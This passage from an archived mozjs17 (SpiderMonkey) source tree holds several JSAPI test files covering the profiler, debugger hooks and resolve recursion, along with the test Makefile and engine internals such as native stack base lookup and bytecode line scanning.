RootedObject copy(cx, CreateFromArray(cx, array)); CHECK(JS_GetElement(cx, array, 0, &v)); CHECK(JS_GetElement(cx, copy, 0, &v2)); CHECK_SAME(v, v2); /* The copy should not see changes in the original */ v2 = INT_TO_JSVAL(42); JS_SetElement(cx, array, 0, &v2); CHECK(JS_GetElement(cx, copy, 0, &v2)); CHECK_SAME(v2, v); /* v is still the original value from 'array' */ return true; } END_TEST(testTypedArrays) mozjs17.0.0/js/src/jsapi-tests/testProfileStrings.cpp0000664000175000017500000002041012106270662022624 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * Tests the stack-based instrumentation profiler on a JSRuntime */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jscntxt.h" static js::ProfileEntry pstack[10]; static uint32_t psize = 0; static uint32_t max_stack = 0; static void reset(JSContext *cx) { psize = max_stack = 0; memset(pstack, 0, sizeof(pstack)); cx->runtime->spsProfiler.stringsReset(); cx->runtime->spsProfiler.enableSlowAssertions(true); js::EnableRuntimeProfilingStack(cx->runtime, true); } static JSClass ptestClass = { "Prof", 0, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; static JSBool test_fn(JSContext *cx, unsigned argc, jsval *vp) { max_stack = psize; return JS_TRUE; } static JSBool test_fn2(JSContext *cx, unsigned argc, jsval *vp) { jsval r; JS::RootedObject global(cx, JS_GetGlobalObject(cx)); return JS_CallFunctionName(cx, global, "d", 0, NULL, &r); } static JSBool enable(JSContext *cx, unsigned argc, jsval *vp) { js::EnableRuntimeProfilingStack(cx->runtime, true); return JS_TRUE; } static JSBool disable(JSContext *cx, unsigned argc, jsval *vp) { js::EnableRuntimeProfilingStack(cx->runtime, false); return JS_TRUE; } static JSBool Prof(JSContext* cx, unsigned argc, jsval *vp) { JSObject *obj = JS_NewObjectForConstructor(cx, &ptestClass, vp); if (!obj) return JS_FALSE; JS_SET_RVAL(cx, vp, OBJECT_TO_JSVAL(obj)); return JS_TRUE; } static JSFunctionSpec ptestFunctions[] = { JS_FS("test_fn", test_fn, 0, 0), JS_FS("test_fn2", test_fn2, 0, 0), JS_FS("enable", enable, 0, 0), JS_FS("disable", disable, 0, 0), JS_FS_END }; static JSObject* initialize(JSContext *cx) { js::SetRuntimeProfilingStack(cx->runtime, pstack, &psize, 10); JS::RootedObject global(cx, JS_GetGlobalObject(cx)); return JS_InitClass(cx, global, NULL, &ptestClass, Prof, 0, NULL, ptestFunctions, NULL, NULL); } BEGIN_TEST(testProfileStrings_isCalledWithInterpreter) { CHECK(initialize(cx)); EXEC("function g() { var p = new Prof(); p.test_fn(); }"); EXEC("function f() { g(); }"); EXEC("function e() { f(); }"); EXEC("function d() { e(); }"); EXEC("function c() { d(); }"); EXEC("function b() { c(); }"); EXEC("function a() { b(); }"); EXEC("function check() { var p = new Prof(); p.test_fn(); a(); }"); EXEC("function check2() { var p = new Prof(); p.test_fn2(); }"); reset(cx); { JS::RootedValue rval(cx); /* Make sure the stack resets and we have an entry for each stack */ CHECK(JS_CallFunctionName(cx, global, "check", 0, NULL, rval.address())); CHECK(psize == 0); CHECK(max_stack == 9); CHECK(cx->runtime->spsProfiler.stringsCount() == 8); /* Make sure the stack resets and we added no new entries */ max_stack = 0; CHECK(JS_CallFunctionName(cx, global, "check", 0, NULL, rval.address())); CHECK(psize == 0); CHECK(max_stack == 9); CHECK(cx->runtime->spsProfiler.stringsCount() == 8); } reset(cx); { JS::RootedValue rval(cx); CHECK(JS_CallFunctionName(cx, global, "check2", 0, NULL, rval.address())); CHECK(cx->runtime->spsProfiler.stringsCount() == 5); CHECK(max_stack == 7); CHECK(psize == 0); } js::EnableRuntimeProfilingStack(cx->runtime, false); js::SetRuntimeProfilingStack(cx->runtime, pstack, &psize, 3); reset(cx); { JS::RootedValue rval(cx); pstack[3].setLabel((char*) 1234); CHECK(JS_CallFunctionName(cx, global, "check", 0, NULL, rval.address())); CHECK((size_t) pstack[3].label() == 1234); CHECK(max_stack == 9); CHECK(psize == 0); } return true; } END_TEST(testProfileStrings_isCalledWithInterpreter) BEGIN_TEST(testProfileStrings_isCalledWithJIT) { CHECK(initialize(cx)); JS_SetOptions(cx, JS_GetOptions(cx) | JSOPTION_METHODJIT | JSOPTION_METHODJIT_ALWAYS); EXEC("function g() { var p = new Prof(); p.test_fn(); }"); EXEC("function f() { g(); }"); EXEC("function e() { f(); }"); EXEC("function d() { e(); }"); EXEC("function c() { d(); }"); EXEC("function b() { c(); }"); EXEC("function a() { b(); }"); EXEC("function check() { var p = new Prof(); p.test_fn(); a(); }"); EXEC("function check2() { var p = new Prof(); p.test_fn2(); }"); reset(cx); { JS::RootedValue rval(cx); /* Make sure the stack resets and we have an entry for each stack */ CHECK(JS_CallFunctionName(cx, global, "check", 0, NULL, rval.address())); CHECK(psize == 0); CHECK(max_stack == 9); /* Make sure the stack resets and we added no new entries */ uint32_t cnt = cx->runtime->spsProfiler.stringsCount(); max_stack = 0; CHECK(JS_CallFunctionName(cx, global, "check", 0, NULL, rval.address())); CHECK(psize == 0); CHECK(cx->runtime->spsProfiler.stringsCount() == cnt); CHECK(max_stack == 9); } js::EnableRuntimeProfilingStack(cx->runtime, false); js::SetRuntimeProfilingStack(cx->runtime, pstack, &psize, 3); reset(cx); { /* Limit the size of the stack and make sure we don't overflow */ JS::RootedValue rval(cx); pstack[3].setLabel((char*) 1234); CHECK(JS_CallFunctionName(cx, global, "check", 0, NULL, rval.address())); CHECK(psize == 0); CHECK(max_stack == 9); CHECK((size_t) pstack[3].label() == 1234); } return true; } END_TEST(testProfileStrings_isCalledWithJIT) BEGIN_TEST(testProfileStrings_isCalledWhenError) { CHECK(initialize(cx)); JS_SetOptions(cx, JS_GetOptions(cx) | JSOPTION_METHODJIT | JSOPTION_METHODJIT_ALWAYS); EXEC("function check2() { throw 'a'; }"); reset(cx); { JS::RootedValue rval(cx); /* Make sure the stack resets and we have an entry for each stack */ JS_CallFunctionName(cx, global, "check2", 0, NULL, rval.address()); CHECK(psize == 0); CHECK(cx->runtime->spsProfiler.stringsCount() == 1); } return true; } END_TEST(testProfileStrings_isCalledWhenError) BEGIN_TEST(testProfileStrings_worksWhenEnabledOnTheFly) { CHECK(initialize(cx)); JS_SetOptions(cx, JS_GetOptions(cx) | JSOPTION_METHODJIT | JSOPTION_METHODJIT_ALWAYS); EXEC("function b(p) { p.test_fn(); }"); EXEC("function a() { var p = new Prof(); p.enable(); b(p); }"); reset(cx); js::EnableRuntimeProfilingStack(cx->runtime, false); { /* enable it in the middle of JS and make sure things check out */ JS::RootedValue rval(cx); JS_CallFunctionName(cx, global, "a", 0, NULL, rval.address()); CHECK(psize == 0); CHECK(max_stack == 1); CHECK(cx->runtime->spsProfiler.stringsCount() == 1); } EXEC("function d(p) { p.disable(); }"); EXEC("function c() { var p = new Prof(); d(p); }"); reset(cx); { /* now disable in the middle of js */ JS::RootedValue rval(cx); JS_CallFunctionName(cx, global, "c", 0, NULL, rval.address()); CHECK(psize == 0); } EXEC("function e() { var p = new Prof(); d(p); p.enable(); b(p); }"); reset(cx); { /* now disable in the middle of js, but re-enable before final exit */ JS::RootedValue rval(cx); JS_CallFunctionName(cx, global, "e", 0, NULL, rval.address()); CHECK(psize == 0); CHECK(max_stack == 3); } EXEC("function h() { }"); EXEC("function g(p) { p.disable(); for (var i = 0; i < 100; i++) i++; }"); EXEC("function f() { g(new Prof()); }"); reset(cx); cx->runtime->spsProfiler.enableSlowAssertions(false); { JS::RootedValue rval(cx); /* disable, and make sure that if we try to re-enter the JIT the pop * will still happen */ JS_CallFunctionName(cx, global, "f", 0, NULL, rval.address()); CHECK(psize == 0); } return true; } END_TEST(testProfileStrings_worksWhenEnabledOnTheFly) mozjs17.0.0/js/src/jsapi-tests/Makefile.in0000664000175000017500000000457012107044650020321 0ustar sstanglsstangl# -*- Mode: makefile -*- # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. DEPTH = @DEPTH@ topsrcdir = @top_srcdir@ srcdir = @srcdir@ VPATH = @srcdir@ include $(DEPTH)/config/autoconf.mk PROGRAM = jsapi-tests$(BIN_SUFFIX) CPPSRCS = \ tests.cpp \ selfTest.cpp \ testAddPropertyPropcache.cpp \ testArgumentsObject.cpp \ testBindCallable.cpp \ testBug604087.cpp \ testCallNonGenericMethodOnProxy.cpp \ testChromeBuffer.cpp \ testClassGetter.cpp \ testCloneScript.cpp \ testConservativeGC.cpp \ testContexts.cpp \ testCustomIterator.cpp \ testDebugger.cpp \ testDeepFreeze.cpp \ testDefineGetterSetterNonEnumerable.cpp \ testDefineProperty.cpp \ testExtendedEq.cpp \ testExternalStrings.cpp \ testFuncCallback.cpp \ testFunctionProperties.cpp \ testGCOutOfMemory.cpp \ testOOM.cpp \ testGetPropertyDefault.cpp \ testHashTable.cpp \ testIndexToString.cpp \ testIntString.cpp \ testIntTypesABI.cpp \ testIntern.cpp \ testLookup.cpp \ testLooselyEqual.cpp \ testNewObject.cpp \ testOps.cpp \ testOriginPrincipals.cpp \ testParseJSON.cpp \ testPropCache.cpp \ testRegExp.cpp \ testResolveRecursion.cpp \ testSameValue.cpp \ testScriptInfo.cpp \ testScriptObject.cpp \ testSetProperty.cpp \ testSourcePolicy.cpp \ testStringBuffer.cpp \ testTrap.cpp \ testTypedArrays.cpp \ testUTF8.cpp \ testValueABI.cpp \ testVersion.cpp \ testXDR.cpp \ testProfileStrings.cpp \ testJSEvaluateScript.cpp \ testErrorCopying.cpp \ $(NULL) CSRCS = \ valueABI.c # Disabled: an entirely unrelated test seems to cause this to fail. Moreover, # given the test's dependence on interactions between the compiler, the GC, and # conservative stack scanning, the fix isn't obvious: more investigation # needed. #CPPSRCS += \ # testRegExpInstanceProperties.cpp \ # $(NULL) DEFINES += -DEXPORT_JS_API # Building against js_static requires that we declare mfbt sybols "exported" # on its behalf. DEFINES += -DIMPL_MFBT LIBS = $(DEPTH)/$(LIB_PREFIX)js_static.$(LIB_SUFFIX) $(NSPR_LIBS) $(MOZ_ZLIB_LIBS) LOCAL_INCLUDES += -I$(topsrcdir) -I.. include $(topsrcdir)/config/rules.mk check:: $(wildcard $(RUN_TEST_PROGRAM)) $(DIST)/bin/jsapi-tests$(BIN_SUFFIX) mozjs17.0.0/js/src/jsapi-tests/testDebugger.cpp0000664000175000017500000002005612106270662021404 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsdbgapi.h" #include "jscntxt.h" static int callCount[2] = {0, 0}; static void * callCountHook(JSContext *cx, JSStackFrame *fp, JSBool before, JSBool *ok, void *closure) { callCount[before]++; jsval thisv; JS_GetFrameThis(cx, fp, &thisv); // assert if fp is incomplete return cx; // any non-null value causes the hook to be called again after } BEGIN_TEST(testDebugger_bug519719) { CHECK(JS_SetDebugMode(cx, JS_TRUE)); JS_SetCallHook(rt, callCountHook, NULL); EXEC("function call(fn) { fn(0); }\n" "function f(g) { for (var i = 0; i < 9; i++) call(g); }\n" "f(Math.sin);\n" // record loop, starting in f "f(Math.cos);\n"); // side exit in f -> call CHECK_EQUAL(callCount[0], 20); CHECK_EQUAL(callCount[1], 20); return true; } END_TEST(testDebugger_bug519719) static void * nonStrictThisHook(JSContext *cx, JSStackFrame *fp, JSBool before, JSBool *ok, void *closure) { if (before) { bool *allWrapped = (bool *) closure; jsval thisv; JS_GetFrameThis(cx, fp, &thisv); *allWrapped = *allWrapped && !JSVAL_IS_PRIMITIVE(thisv); } return NULL; } BEGIN_TEST(testDebugger_getThisNonStrict) { bool allWrapped = true; CHECK(JS_SetDebugMode(cx, JS_TRUE)); JS_SetCallHook(rt, nonStrictThisHook, (void *) &allWrapped); EXEC("function nonstrict() { }\n" "Boolean.prototype.nonstrict = nonstrict;\n" "String.prototype.nonstrict = nonstrict;\n" "Number.prototype.nonstrict = nonstrict;\n" "Object.prototype.nonstrict = nonstrict;\n" "nonstrict.call(true);\n" "true.nonstrict();\n" "nonstrict.call('');\n" "''.nonstrict();\n" "nonstrict.call(42);\n" "(42).nonstrict();\n" // The below don't really get 'wrapped', but it's okay. "nonstrict.call(undefined);\n" "nonstrict.call(null);\n" "nonstrict.call({});\n" "({}).nonstrict();\n"); CHECK(allWrapped); return true; } END_TEST(testDebugger_getThisNonStrict) static void * strictThisHook(JSContext *cx, JSStackFrame *fp, JSBool before, JSBool *ok, void *closure) { if (before) { bool *anyWrapped = (bool *) closure; jsval thisv; JS_GetFrameThis(cx, fp, &thisv); *anyWrapped = *anyWrapped || !JSVAL_IS_PRIMITIVE(thisv); } return NULL; } BEGIN_TEST(testDebugger_getThisStrict) { bool anyWrapped = false; CHECK(JS_SetDebugMode(cx, JS_TRUE)); JS_SetCallHook(rt, strictThisHook, (void *) &anyWrapped); EXEC("function strict() { 'use strict'; }\n" "Boolean.prototype.strict = strict;\n" "String.prototype.strict = strict;\n" "Number.prototype.strict = strict;\n" "strict.call(true);\n" "true.strict();\n" "strict.call('');\n" "''.strict();\n" "strict.call(42);\n" "(42).strict();\n" "strict.call(undefined);\n" "strict.call(null);\n"); CHECK(!anyWrapped); return true; } END_TEST(testDebugger_getThisStrict) bool called = false; static JSTrapStatus ThrowHook(JSContext *cx, JSScript *, jsbytecode *, jsval *rval, void *closure) { JS_ASSERT(!closure); called = true; JS::RootedObject global(cx, JS_GetGlobalForScopeChain(cx)); char text[] = "new Error()"; jsval _; JS_EvaluateScript(cx, global, text, strlen(text), "", 0, &_); return JSTRAP_CONTINUE; } BEGIN_TEST(testDebugger_throwHook) { uint32_t newopts = JS_GetOptions(cx) | JSOPTION_METHODJIT | JSOPTION_METHODJIT_ALWAYS | JSOPTION_ALLOW_XML; uint32_t oldopts = JS_SetOptions(cx, newopts); CHECK(JS_SetThrowHook(rt, ThrowHook, NULL)); EXEC("function foo() { throw 3 };\n" "for (var i = 0; i < 10; ++i) { \n" " var x = ;\n" " try {\n" " foo(); \n" " } catch(e) {}\n" "}\n"); CHECK(called); CHECK(JS_SetThrowHook(rt, NULL, NULL)); JS_SetOptions(cx, oldopts); return true; } END_TEST(testDebugger_throwHook) BEGIN_TEST(testDebugger_debuggerObjectVsDebugMode) { CHECK(JS_DefineDebuggerObject(cx, global)); JS::RootedObject debuggee(cx, JS_NewGlobalObject(cx, getGlobalClass(), NULL)); CHECK(debuggee); { JSAutoCompartment ae(cx, debuggee); CHECK(JS_SetDebugMode(cx, true)); CHECK(JS_InitStandardClasses(cx, debuggee)); } JS::RootedObject debuggeeWrapper(cx, debuggee); CHECK(JS_WrapObject(cx, debuggeeWrapper.address())); jsval v = OBJECT_TO_JSVAL(debuggeeWrapper); CHECK(JS_SetProperty(cx, global, "debuggee", &v)); EVAL("var dbg = new Debugger(debuggee);\n" "var hits = 0;\n" "dbg.onDebuggerStatement = function () { hits++; };\n" "debuggee.eval('debugger;');\n" "hits;\n", &v); CHECK_SAME(v, JSVAL_ONE); { JSAutoCompartment ae(cx, debuggee); CHECK(JS_SetDebugMode(cx, false)); } EVAL("debuggee.eval('debugger; debugger; debugger;');\n" "hits;\n", &v); CHECK_SAME(v, INT_TO_JSVAL(4)); return true; } END_TEST(testDebugger_debuggerObjectVsDebugMode) BEGIN_TEST(testDebugger_newScriptHook) { // Test that top-level indirect eval fires the newScript hook. CHECK(JS_DefineDebuggerObject(cx, global)); JS::RootedObject g(cx, JS_NewGlobalObject(cx, getGlobalClass(), NULL)); CHECK(g); { JSAutoCompartment ae(cx, g); CHECK(JS_InitStandardClasses(cx, g)); } JS::RootedObject gWrapper(cx, g); CHECK(JS_WrapObject(cx, gWrapper.address())); jsval v = OBJECT_TO_JSVAL(gWrapper); CHECK(JS_SetProperty(cx, global, "g", &v)); EXEC("var dbg = Debugger(g);\n" "var hits = 0;\n" "dbg.onNewScript = function (s) {\n" " hits += Number(s instanceof Debugger.Script);\n" "};\n"); // Since g is a debuggee, g.eval should trigger newScript, regardless of // what scope object we use to enter the compartment. // // Scripts are associated with the global where they're compiled, so we // deliver them only to debuggers that are watching that particular global. // return testIndirectEval(g, "Math.abs(0)"); } bool testIndirectEval(JS::HandleObject scope, const char *code) { EXEC("hits = 0;"); { JSAutoCompartment ae(cx, scope); JSString *codestr = JS_NewStringCopyZ(cx, code); CHECK(codestr); jsval argv[1] = { STRING_TO_JSVAL(codestr) }; jsval v; CHECK(JS_CallFunctionName(cx, scope, "eval", 1, argv, &v)); } jsval hitsv; EVAL("hits", &hitsv); CHECK_SAME(hitsv, INT_TO_JSVAL(1)); return true; } END_TEST(testDebugger_newScriptHook) BEGIN_TEST(testDebugger_singleStepThrow) { CHECK(JS_SetDebugModeForCompartment(cx, cx->compartment, true)); CHECK(JS_SetInterrupt(rt, onStep, NULL)); uint32_t opts = JS_GetOptions(cx); opts |= JSOPTION_METHODJIT | JSOPTION_METHODJIT_ALWAYS; JS_SetOptions(cx, opts); CHECK(JS_DefineFunction(cx, global, "setStepMode", setStepMode, 0, 0)); EXEC("var e;\n" "setStepMode();\n" "function f() { throw 0; }\n" "try { f(); }\n" "catch (x) { e = x; }\n"); return true; } static JSBool setStepMode(JSContext *cx, unsigned argc, jsval *vp) { JSScript *script; JS_DescribeScriptedCaller(cx, &script, NULL); JS_ASSERT(script); if (!JS_SetSingleStepMode(cx, script, true)) return false; JS_SET_RVAL(cx, vp, JSVAL_VOID); return true; } static JSTrapStatus onStep(JSContext *cx, JSScript *script, jsbytecode *pc, jsval *rval, void *closure) { return JSTRAP_CONTINUE; } END_TEST(testDebugger_singleStepThrow) mozjs17.0.0/js/src/jsapi-tests/testResolveRecursion.cpp0000664000175000017500000000753012106270662023173 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" /* * Test that resolve hook recursion for the same object and property is * prevented. */ BEGIN_TEST(testResolveRecursion) { static JSClass my_resolve_class = { "MyResolve", JSCLASS_NEW_RESOLVE | JSCLASS_HAS_PRIVATE, JS_PropertyStub, // add JS_PropertyStub, // delete JS_PropertyStub, // get JS_StrictPropertyStub, // set JS_EnumerateStub, (JSResolveOp) my_resolve, JS_ConvertStub }; obj1 = JS_NewObject(cx, &my_resolve_class, NULL, NULL); CHECK(obj1); obj2 = JS_NewObject(cx, &my_resolve_class, NULL, NULL); CHECK(obj2); JS_SetPrivate(obj1, this); JS_SetPrivate(obj2, this); CHECK(JS_DefineProperty(cx, global, "obj1", OBJECT_TO_JSVAL(obj1), NULL, NULL, 0)); CHECK(JS_DefineProperty(cx, global, "obj2", OBJECT_TO_JSVAL(obj2), NULL, NULL, 0)); resolveEntryCount = 0; resolveExitCount = 0; /* Start the essence of the test via invoking the first resolve hook. */ jsval v; EVAL("obj1.x", &v); CHECK_SAME(v, JSVAL_FALSE); CHECK_EQUAL(resolveEntryCount, 4); CHECK_EQUAL(resolveExitCount, 4); return true; } JSObject *obj1; JSObject *obj2; unsigned resolveEntryCount; unsigned resolveExitCount; struct AutoIncrCounters { AutoIncrCounters(cls_testResolveRecursion *t) : t(t) { t->resolveEntryCount++; } ~AutoIncrCounters() { t->resolveExitCount++; } cls_testResolveRecursion *t; }; bool doResolve(JSHandleObject obj, JSHandleId id, unsigned flags, JSMutableHandleObject objp) { CHECK_EQUAL(resolveExitCount, 0); AutoIncrCounters incr(this); CHECK_EQUAL(obj, obj1 || obj == obj2); CHECK(JSID_IS_STRING(id)); JSFlatString *str = JS_FlattenString(cx, JSID_TO_STRING(id)); CHECK(str); jsval v; if (JS_FlatStringEqualsAscii(str, "x")) { if (obj == obj1) { /* First resolve hook invocation. */ CHECK_EQUAL(resolveEntryCount, 1); EVAL("obj2.y = true", &v); CHECK_SAME(v, JSVAL_TRUE); CHECK(JS_DefinePropertyById(cx, obj, id, JSVAL_FALSE, NULL, NULL, 0)); objp.set(obj); return true; } if (obj == obj2) { CHECK_EQUAL(resolveEntryCount, 4); objp.set(NULL); return true; } } else if (JS_FlatStringEqualsAscii(str, "y")) { if (obj == obj2) { CHECK_EQUAL(resolveEntryCount, 2); CHECK(JS_DefinePropertyById(cx, obj, id, JSVAL_NULL, NULL, NULL, 0)); EVAL("obj1.x", &v); CHECK(JSVAL_IS_VOID(v)); EVAL("obj1.y", &v); CHECK_SAME(v, JSVAL_ZERO); objp.set(obj); return true; } if (obj == obj1) { CHECK_EQUAL(resolveEntryCount, 3); EVAL("obj1.x", &v); CHECK(JSVAL_IS_VOID(v)); EVAL("obj1.y", &v); CHECK(JSVAL_IS_VOID(v)); EVAL("obj2.y", &v); CHECK(JSVAL_IS_NULL(v)); EVAL("obj2.x", &v); CHECK(JSVAL_IS_VOID(v)); EVAL("obj1.y = 0", &v); CHECK_SAME(v, JSVAL_ZERO); objp.set(obj); return true; } } CHECK(false); return false; } static JSBool my_resolve(JSContext *cx, JSHandleObject obj, JSHandleId id, unsigned flags, JSMutableHandleObject objp) { return static_cast(JS_GetPrivate(obj))-> doResolve(obj, id, flags, objp); } END_TEST(testResolveRecursion) mozjs17.0.0/js/src/jsopcodeinlines.h0000664000175000017500000000733112106270663017351 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef jsopcodeinlines_h__ #define jsopcodeinlines_h__ #include "jsautooplen.h" #include "frontend/BytecodeEmitter.h" namespace js { static inline PropertyName * GetNameFromBytecode(JSContext *cx, JSScript *script, jsbytecode *pc, JSOp op) { if (op == JSOP_LENGTH) return cx->runtime->atomState.lengthAtom; // The method JIT's implementation of instanceof contains an internal lookup // of the prototype property. if (op == JSOP_INSTANCEOF) return cx->runtime->atomState.classPrototypeAtom; PropertyName *name; GET_NAME_FROM_BYTECODE(script, pc, 0, name); return name; } class BytecodeRange { public: BytecodeRange(JSScript *script) : script(script), pc(script->code), end(pc + script->length) {} bool empty() const { return pc == end; } jsbytecode *frontPC() const { return pc; } JSOp frontOpcode() const { return JSOp(*pc); } size_t frontOffset() const { return pc - script->code; } void popFront() { pc += GetBytecodeLength(pc); } private: JSScript *script; jsbytecode *pc, *end; }; class SrcNoteLineScanner { /* offset of the current JSOp in the bytecode */ ptrdiff_t offset; /* next src note to process */ jssrcnote *sn; /* line number of the current JSOp */ uint32_t lineno; /* * Is the current op the first one after a line change directive? Note that * multiple ops may be "first" if a line directive is used to return to a * previous line (eg, with a for loop increment expression.) */ bool lineHeader; public: SrcNoteLineScanner(jssrcnote *sn, uint32_t lineno) : offset(0), sn(sn), lineno(lineno) { } /* * This is called repeatedly with always-advancing relpc values. The src * notes are tuples of . Scan * through, updating the lineno, until the next src note is for a later * bytecode. * * When looking at the desired PC offset ('relpc'), the op is first in that * line iff there is a SRC_SETLINE or SRC_NEWLINE src note for that exact * bytecode. * * Note that a single bytecode may have multiple line-modifying notes (even * though only one should ever be needed.) */ void advanceTo(ptrdiff_t relpc) { // Must always advance! If the same or an earlier PC is erroneously // passed in, we will already be past the relevant src notes JS_ASSERT_IF(offset > 0, relpc > offset); // Next src note should be for after the current offset JS_ASSERT_IF(offset > 0, SN_IS_TERMINATOR(sn) || SN_DELTA(sn) > 0); // The first PC requested is always considered to be a line header lineHeader = (offset == 0); if (SN_IS_TERMINATOR(sn)) return; ptrdiff_t nextOffset; while ((nextOffset = offset + SN_DELTA(sn)) <= relpc && !SN_IS_TERMINATOR(sn)) { offset = nextOffset; SrcNoteType type = (SrcNoteType) SN_TYPE(sn); if (type == SRC_SETLINE || type == SRC_NEWLINE) { if (type == SRC_SETLINE) lineno = js_GetSrcNoteOffset(sn, 0); else lineno++; if (offset == relpc) lineHeader = true; } sn = SN_NEXT(sn); } } bool isLineHeader() const { return lineHeader; } uint32_t getLine() const { return lineno; } }; } #endif /* jsopcodeinlines_h__ */ mozjs17.0.0/js/src/jsnativestack.cpp0000664000175000017500000000635212106270662017366 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 et sw=4 tw=80: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include #include "jstypes.h" #include "jsnativestack.h" #ifdef XP_WIN # include "jswin.h" #elif defined(XP_OS2) # define INCL_DOSPROCESS # include #elif defined(XP_MACOSX) || defined(DARWIN) || defined(XP_UNIX) # include # if defined(__FreeBSD__) || defined(__OpenBSD__) # include # endif #else # error "Unsupported platform" #endif namespace js { #if defined(XP_WIN) void * GetNativeStackBaseImpl() { # if defined(_M_IX86) && defined(_MSC_VER) /* * offset 0x18 from the FS segment register gives a pointer to * the thread information block for the current thread */ NT_TIB* pTib; __asm { MOV EAX, FS:[18h] MOV pTib, EAX } return static_cast(pTib->StackBase); # elif defined(_M_X64) PNT_TIB64 pTib = reinterpret_cast(NtCurrentTeb()); return reinterpret_cast(pTib->StackBase); # elif defined(_WIN32) && defined(__GNUC__) NT_TIB* pTib; asm ("movl %%fs:0x18, %0\n" : "=r" (pTib)); return static_cast(pTib->StackBase); # endif } #elif defined(SOLARIS) #include JS_STATIC_ASSERT(JS_STACK_GROWTH_DIRECTION < 0); void * GetNativeStackBaseImpl() { stack_t st; stack_getbounds(&st); return static_cast(st.ss_sp) + st.ss_size; } #elif defined(AIX) #include JS_STATIC_ASSERT(JS_STACK_GROWTH_DIRECTION < 0); void * GetNativeStackBaseImpl() { ucontext_t context; getcontext(&context); return static_cast(context.uc_stack.ss_sp) + context.uc_stack.ss_size; } #elif defined(XP_OS2) void * GetNativeStackBaseImpl() { PTIB ptib; PPIB ppib; DosGetInfoBlocks(&ptib, &ppib); return ptib->tib_pstacklimit; } #else /* XP_UNIX */ void * GetNativeStackBaseImpl() { pthread_t thread = pthread_self(); # if defined(XP_MACOSX) || defined(DARWIN) return pthread_get_stackaddr_np(thread); # else pthread_attr_t sattr; pthread_attr_init(&sattr); # if defined(__OpenBSD__) stack_t ss; # elif defined(PTHREAD_NP_H) || defined(_PTHREAD_NP_H_) || defined(NETBSD) /* e.g. on FreeBSD 4.8 or newer, neundorf@kde.org */ pthread_attr_get_np(thread, &sattr); # else /* * FIXME: this function is non-portable; * other POSIX systems may have different np alternatives */ pthread_getattr_np(thread, &sattr); # endif void *stackBase = 0; size_t stackSize = 0; # ifdef DEBUG int rc = # endif # if defined(__OpenBSD__) pthread_stackseg_np(pthread_self(), &ss); stackBase = (void*)((size_t) ss.ss_sp - ss.ss_size); stackSize = ss.ss_size; # else pthread_attr_getstack(&sattr, &stackBase, &stackSize); # endif JS_ASSERT(!rc); JS_ASSERT(stackBase); pthread_attr_destroy(&sattr); # if JS_STACK_GROWTH_DIRECTION > 0 return stackBase; # else return static_cast(stackBase) + stackSize; # endif # endif } #endif /* !XP_WIN */ } /* namespace js */ mozjs17.0.0/js/src/jsinterpinlines.h0000664000175000017500000007146412106270662017410 0ustar sstanglsstangl/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=4 sw=4 et tw=99: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef jsinterpinlines_h__ #define jsinterpinlines_h__ #include "jsapi.h" #include "jsbool.h" #include "jscompartment.h" #include "jsinfer.h" #include "jsinterp.h" #include "jslibmath.h" #include "jsnum.h" #include "jsprobes.h" #include "jsstr.h" #include "methodjit/MethodJIT.h" #include "jsfuninlines.h" #include "jsinferinlines.h" #include "jsopcodeinlines.h" #include "jspropertycacheinlines.h" #include "jstypedarrayinlines.h" #include "vm/Stack-inl.h" namespace js { /* * Compute the implicit |this| parameter for a call expression where the callee * funval was resolved from an unqualified name reference to a property on obj * (an object on the scope chain). * * We can avoid computing |this| eagerly and push the implicit callee-coerced * |this| value, undefined, if any of these conditions hold: * * 1. The nominal |this|, obj, is a global object. * * 2. The nominal |this|, obj, has one of Block, Call, or DeclEnv class (this * is what IsCacheableNonGlobalScope tests). Such objects-as-scopes must be * censored with undefined. * * Otherwise, we bind |this| to obj->thisObject(). Only names inside |with| * statements and embedding-specific scope objects fall into this category. * * If the callee is a strict mode function, then code implementing JSOP_THIS * in the interpreter and JITs will leave undefined as |this|. If funval is a * function not in strict mode, JSOP_THIS code replaces undefined with funval's * global. * * We set *vp to undefined early to reduce code size and bias this code for the * common and future-friendly cases. */ inline bool ComputeImplicitThis(JSContext *cx, HandleObject obj, Value *vp) { vp->setUndefined(); if (obj->isGlobal()) return true; if (IsCacheableNonGlobalScope(obj)) return true; RawObject nobj = JSObject::thisObject(cx, obj); if (!nobj) return false; vp->setObject(*nobj); return true; } inline bool ComputeThis(JSContext *cx, StackFrame *fp) { Value &thisv = fp->thisValue(); if (thisv.isObject()) return true; if 